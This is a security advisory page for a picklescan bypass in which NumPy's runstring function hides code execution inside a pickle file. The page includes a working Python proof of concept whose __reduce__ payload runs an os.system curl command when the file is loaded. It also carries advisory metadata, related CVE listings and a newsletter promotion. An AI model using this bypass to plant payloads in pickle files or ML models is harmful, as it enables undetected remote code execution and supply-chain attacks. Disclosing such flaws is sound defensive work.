Medium

Picklescan failed to detect to some unsafe global function in Numpy library

  • Disclosed: 07.04.2025
  • Updated: 11.10.2026 13:19

Summary

An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands.

Details

Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.

The attack payload executes in the following steps:

  • First, the attacker craft the payload by import runstring function in numpy.testing._private.utils
  • Then, inside reduce method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.
  • Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

python
import pickle
import torch
import pickle
from picklescan.scanner import scan_file_path
class Payload:
  def __reduce__(self):
    from numpy.testing._private.utils import runstring
    return runstring, ("import os; os.system('curl https://example.com')",{})
    
def create_payload():
  with open('payload.pickle', 'wb') as f:
    pickle.dump(Payload(), f)

def load_payload():
  result = scan_file_path('payload.pickle')
  if result.infected_files != 0 or result.scan_err:
    print('File is infected')
  else:
    print('File is clean')
    with open('payload.pickle', 'rb') as f:
      pickle.load(f)

create_payload() 
load_payload()

Impact

Severity: High

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI) What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Recommended Fixes:

I suggest adding Numpy library to the unsafe globals blacklist.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) picklescan < 0.0.25 0.0.25

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-502
Platform
Python (PyPI)
Package
picklescan
Disclosed
07.04.2025
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - GHSA-fj43-3qmq-673f - CC BY 4.0

Vulnerability history: picklescan

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
02.2025 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 7
  • High 25
  • Medium 26

Disclosures per year

  1. 2025: 51
  2. 2026: 7
Severity:
  1. Picklescan failed to detect to some unsafe global function in Numpy library this entry
    Medium CVE-2025-71355 < 0.0.25 0.0.25
  2. Critical · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  3. Critical · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  4. High · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  5. High · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  6. High ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  7. High CVE-2025-71320 < 0.0.33 0.0.33
  8. High · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  9. High CVE-2025-71321 < 0.0.33 0.0.33
  10. Critical · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
Show more (12) Showing 21 of 33

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.